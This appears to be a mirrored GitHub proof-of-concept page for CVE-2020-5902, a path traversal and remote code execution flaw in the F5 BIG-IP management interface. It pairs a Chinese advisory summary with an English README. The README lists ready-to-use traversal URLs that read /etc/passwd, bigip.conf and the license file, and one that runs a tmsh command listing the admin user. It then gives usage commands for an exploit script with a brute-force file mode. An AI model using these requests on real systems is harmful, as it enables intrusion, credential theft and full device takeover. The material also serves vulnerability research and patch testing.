CVE-2020-5902 PoC — F5 BIG-IP 路径遍历漏洞

Source

https://github.com/amitlttwo/CVE-2020-5902

Associated Vulnerability

Title:F5 BIG-IP 路径遍历漏洞 (CVE-2020-5902)
Description:F5 BIG-IP是美国F5公司的一款集成了网络流量管理、应用程序安全管理、负载均衡等功能的应用交付平台。 F5 BIG-IP中存在路径遍历漏洞。攻击者可利用该漏洞执行任意的系统命令、创建或删除文件，关闭服务/执行任意的Java代码，可能完全入侵系统。以下产品及版本受到影响：F5 BIG-IP 15.1.0版本，15.0.0版本，14.1.0版本至14.1.2版本，13.1.0版本至13.1.3版本，12.1.0版本至12.1.5版本，11.6.1版本至11.6.5版本。

Readme

# CVE-2020-5902

In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.

# Proof of concept
```
https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
```
```
https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts
```
```
https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license
```
```
https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf
```
```
https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
```

# Usage & Installation
```
git clone https://github.com/yasserjanah/CVE-2020-5902
```
```
cd CVE-2020-5902/
```
```
pip3 install -r requirements.txt
```
```
python3 exploit-CVE-2020-5902.py -ip <IP> -f /etc/passwd
-b to brute force files from a wordlist
```
```
python3 exploit-CVE-2020-5902.py -ip <IP> -b
```

File Snapshot


 [4.0K]  /data/pocs/986cb73ed7eaca7f7b8b970d62265efa49309d43
├── [5.4K]  common_path.txt
├── [2.9K]  exploit.py
├── [1.1K]  README.md
└── [  33]  requirements.txt

0 directories, 4 files

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